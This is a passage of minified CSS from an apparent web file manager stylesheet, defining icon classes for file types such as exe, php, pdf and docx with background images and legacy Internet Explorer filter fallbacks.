\9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/md.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/md.png?ver=3.30',sizingMethod='scale');}.x-file{background-image:url("../../../images/file_icon/icon_file/file.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/file.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/file.png?ver=3.30',sizingMethod='scale');}.x-accdb{background-image:url("../../../images/file_icon/icon_file/accdb.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/accdb.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/accdb.png?ver=3.30',sizingMethod='scale');}.x-ai{background-image:url("../../../images/file_icon/icon_file/ai.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/ai.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/ai.png?ver=3.30',sizingMethod='scale');}.x-air{background-image:url("../../../images/file_icon/icon_file/air.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/air.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/air.png?ver=3.30',sizingMethod='scale');}.x-arj{background-image:url("../../../images/file_icon/icon_file/arj.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/arj.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/arj.png?ver=3.30',sizingMethod='scale');}.x-apk{background-image:url("../../../images/file_icon/icon_file/apk.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/apk.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/apk.png?ver=3.30',sizingMethod='scale');}.x-as{background-image:url("../../../images/file_icon/icon_file/as.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/as.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/as.png?ver=3.30',sizingMethod='scale');}.x-ascx{background-image:url("../../../images/file_icon/icon_file/ascx.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/ascx.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/ascx.png?ver=3.30',sizingMethod='scale');}.x-ashx{background-image:url("../../../images/file_icon/icon_file/ashx.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/ashx.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/ashx.png?ver=3.30',sizingMethod='scale');}.x-asmx{background-image:url("../../../images/file_icon/icon_file/asmx.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/asmx.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/asmx.png?ver=3.30',sizingMethod='scale');}.x-aspx{background-image:url("../../../images/file_icon/icon_file/aspx.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/aspx.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/aspx.png?ver=3.30',sizingMethod='scale');}.x-bz2{background-image:url("../../../images/file_icon/icon_file/bz2.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/bz2.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/bz2.png?ver=3.30',sizingMethod='scale');}.x-cdr{background-image:url("../../../images/file_icon/icon_file/cdr.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/cdr.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/cdr.png?ver=3.30',sizingMethod='scale');}.x-cer{background-image:url("../../../images/file_icon/icon_file/cer.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/cer.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/cer.png?ver=3.30',sizingMethod='scale');}.x-chm{background-image:url("../../../images/file_icon/icon_file/chm.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/chm.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/chm.png?ver=3.30',sizingMethod='scale');}.x-cmd{background-image:url("../../../images/file_icon/icon_file/cmd.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/cmd.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/cmd.png?ver=3.30',sizingMethod='scale');}.x-c{background-image:url("../../../images/file_icon/icon_file/c.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/c.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/c.png?ver=3.30',sizingMethod='scale');}.x-cpp{background-image:url("../../../images/file_icon/icon_file/cpp.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/cpp.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/cpp.png?ver=3.30',sizingMethod='scale');}.x-cs{background-image:url("../../../images/file_icon/icon_file/cs.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/cs.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/cs.png?ver=3.30',sizingMethod='scale');}.x-cshtml{background-image:url("../../../images/file_icon/icon_file/cshtml.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/cshtml.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/cshtml.png?ver=3.30',sizingMethod='scale');}.x-csproj{background-image:url("../../../images/file_icon/icon_file/csproj.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/csproj.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/csproj.png?ver=3.30',sizingMethod='scale');}.x-css{background-image:url("../../../images/file_icon/icon_file/css.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/css.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/css.png?ver=3.30',sizingMethod='scale');}.x-csv{background-image:url("../../../images/file_icon/icon_file/csv.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/csv.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/csv.png?ver=3.30',sizingMethod='scale');}.x-dll{background-image:url("../../../images/file_icon/icon_file/dll.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/dll.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/dll.png?ver=3.30',sizingMethod='scale');}.x-dmg,.x-img{background-image:url("../../../images/file_icon/icon_file/dmg.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/dmg.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/dmg.png?ver=3.30',sizingMethod='scale');}.x-doc{background-image:url("../../../images/file_icon/icon_file/doc.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/doc.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/doc.png?ver=3.30',sizingMethod='scale');}.x-docm{background-image:url("../../../images/file_icon/icon_file/docm.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/docm.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/docm.png?ver=3.30',sizingMethod='scale');}.x-docx{background-image:url("../../../images/file_icon/icon_file/docx.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/docx.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/docx.png?ver=3.30',sizingMethod='scale');}.x-dot{background-image:url("../../../images/file_icon/icon_file/dot.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/dot.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/dot.png?ver=3.30',sizingMethod='scale');}.x-dotm{background-image:url("../../../images/file_icon/icon_file/dotm.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/dotm.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/dotm.png?ver=3.30',sizingMethod='scale');}.x-dotx{background-image:url("../../../images/file_icon/icon_file/dotx.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/dotx.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/dotx.png?ver=3.30',sizingMethod='scale');}.x-dtd{background-image:url("../../../images/file_icon/icon_file/dtd.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/dtd.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/dtd.png?ver=3.30',sizingMethod='scale');}.x-dwg{background-image:url("../../../images/file_icon/icon_file/dwg.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/dwg.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/dwg.png?ver=3.30',sizingMethod='scale');}.x-dxf{background-image:url("../../../images/file_icon/icon_file/dxf.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/dxf.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/dxf.png?ver=3.30',sizingMethod='scale');}.x-eps{background-image:url("../../../images/file_icon/icon_file/eps.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/eps.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/eps.png?ver=3.30',sizingMethod='scale');}.x-epub{background-image:url("../../../images/file_icon/icon_file/epub.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/epub.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/epub.png?ver=3.30',sizingMethod='scale');}.x-exe{background-image:url("../../../images/file_icon/icon_file/exe.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/exe.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/exe.png?ver=3.30',sizingMethod='scale');}.x-f{background-image:url("../../../images/file_icon/icon_file/f.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/f.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/f.png?ver=3.30',sizingMethod='scale');}.x-file{background-image:url("../../../images/file_icon/icon_file/file.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/file.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/file.png?ver=3.30',sizingMethod='scale');}.x-fla{background-image:url("../../../images/file_icon/icon_file/fla.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/fla.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/fla.png?ver=3.30',sizingMethod='scale');}.x-font{background-image:url("../../../images/file_icon/icon_file/font.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/font.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/font.png?ver=3.30',sizingMethod='scale');}.x-gif{background-image:url("../../../images/file_icon/icon_file/gif.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/gif.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/gif.png?ver=3.30',sizingMethod='scale');}.x-gz{background-image:url("../../../images/file_icon/icon_file/gz.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/gz.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/gz.png?ver=3.30',sizingMethod='scale');}.x-h{background-image:url("../../../images/file_icon/icon_file/h.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/h.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/h.png?ver=3.30',sizingMethod='scale');}.x-hlp{background-image:url("../../../images/file_icon/icon_file/hlp.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/hlp.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/hlp.png?ver=3.30',sizingMethod='scale');}.x-html{background-image:url("../../../images/file_icon/icon_file/html.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/html.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/html.png?ver=3.30',sizingMethod='scale');}.x-indd{background-image:url("../../../images/file_icon/icon_file/indd.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/indd.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/indd.png?ver=3.30',sizingMethod='scale');}.x-ini{background-image:url("../../../images/file_icon/icon_file/ini.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/ini.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/ini.png?ver=3.30',sizingMethod='scale');}.x-ipa{background-image:url("../../../images/file_icon/icon_file/ipa.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/ipa.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/ipa.png?ver=3.30',sizingMethod='scale');}.x-jar{background-image:url("../../../images/file_icon/icon_file/jar.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/jar.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/jar.png?ver=3.30',sizingMethod='scale');}.x-java{background-image:url("../../../images/file_icon/icon_file/java.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/java.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/java.png?ver=3.30',sizingMethod='scale');}.x-jpg{background-image:url("../../../images/file_icon/icon_file/jpg.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/jpg.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/jpg.png?ver=3.30',sizingMethod='scale');}.x-js{background-image:url("../../../images/file_icon/icon_file/js.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/js.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/js.png?ver=3.30',sizingMethod='scale');}.x-json{background-image:url("../../../images/file_icon/icon_file/json.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/json.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/json.png?ver=3.30',sizingMethod='scale');}.x-key{background-image:url("../../../images/file_icon/icon_file/key.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/key.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/key.png?ver=3.30',sizingMethod='scale');}.x-ldf{background-image:url("../../../images/file_icon/icon_file/ldf.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/ldf.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/ldf.png?ver=3.30',sizingMethod='scale');}.x-lnk{background-image:url("../../../images/file_icon/icon_file/lnk.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/lnk.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/lnk.png?ver=3.30',sizingMethod='scale');}.x-makefile{background-image:url("../../../images/file_icon/icon_file/makefile.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/makefile.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/makefile.png?ver=3.30',sizingMethod='scale');}.x-mdb{background-image:url("../../../images/file_icon/icon_file/mdb.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/mdb.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/mdb.png?ver=3.30',sizingMethod='scale');}.x-mdf{background-image:url("../../../images/file_icon/icon_file/mdf.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/mdf.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/mdf.png?ver=3.30',sizingMethod='scale');}.x-mht{background-image:url("../../../images/file_icon/icon_file/mht.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/mht.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/mht.png?ver=3.30',sizingMethod='scale');}.x-midi{background-image:url("../../../images/file_icon/icon_file/midi.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/midi.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/midi.png?ver=3.30',sizingMethod='scale');}.x-mpp{background-image:url("../../../images/file_icon/icon_file/mpp.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/mpp.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/mpp.png?ver=3.30',sizingMethod='scale');}.x-mpt{background-image:url("../../../images/file_icon/icon_file/mpt.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/mpt.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/mpt.png?ver=3.30',sizingMethod='scale');}.x-msg{background-image:url("../../../images/file_icon/icon_file/msg.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/msg.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/msg.png?ver=3.30',sizingMethod='scale');}.x-msi{background-image:url("../../../images/file_icon/icon_file/msi.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/msi.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/msi.png?ver=3.30',sizingMethod='scale');}.x-numbers{background-image:url("../../../images/file_icon/icon_file/numbers.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/numbers.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/numbers.png?ver=3.30',sizingMethod='scale');}.x-odp{background-image:url("../../../images/file_icon/icon_file/odp.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/odp.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/odp.png?ver=3.30',sizingMethod='scale');}.x-ods{background-image:url("../../../images/file_icon/icon_file/ods.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/ods.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/ods.png?ver=3.30',sizingMethod='scale');}.x-odt{background-image:url("../../../images/file_icon/icon_file/odt.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/odt.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/odt.png?ver=3.30',sizingMethod='scale');}.x-oexe{background-image:url("../../../images/file_icon/icon_file/oexe.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/oexe.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/oexe.png?ver=3.30',sizingMethod='scale');}.x-oexe2{background-image:url("../../../images/file_icon/icon_file/oexe2.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/oexe2.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/oexe2.png?ver=3.30',sizingMethod='scale');}.x-ogg{background-image:url("../../../images/file_icon/icon_file/ogg.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/ogg.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/ogg.png?ver=3.30',sizingMethod='scale');}.x-pages{background-image:url("../../../images/file_icon/icon_file/pages.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/pages.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/pages.png?ver=3.30',sizingMethod='scale');}.x-pdb{background-image:url("../../../images/file_icon/icon_file/pdb.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/pdb.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/pdb.png?ver=3.30',sizingMethod='scale');}.x-pdf{background-image:url("../../../images/file_icon/icon_file/pdf.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/pdf.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/pdf.png?ver=3.30',sizingMethod='scale');}.x-php{background-image:url("../../../images/file_icon/icon_file/php.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/php.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/php.png?ver=3.30',sizingMethod='scale');}.x-pkg{background-image:url("../../../images/file_icon/icon_file/pkg.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/pkg.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/pkg.png?ver=3.30',sizingMethod='scale');}.x-pl{background-image:url("../../../images/file_icon/icon_file/pl.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/pl.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/pl.png?ver=3.30',sizingMethod='scale');}.x-png{background-image:url("../../../images/file_icon/icon_file/png.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/png.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/png.png?ver=3.30',sizingMethod='scale');}.x-pps{background-image:url("../../../images/file_icon/icon_file/pps.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/pps.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/pps.png?ver=3.30',sizingMethod='scale');}.x-ppsx{background-image:url("../../../images/file_icon/icon_file/ppsx.png");background-image:none 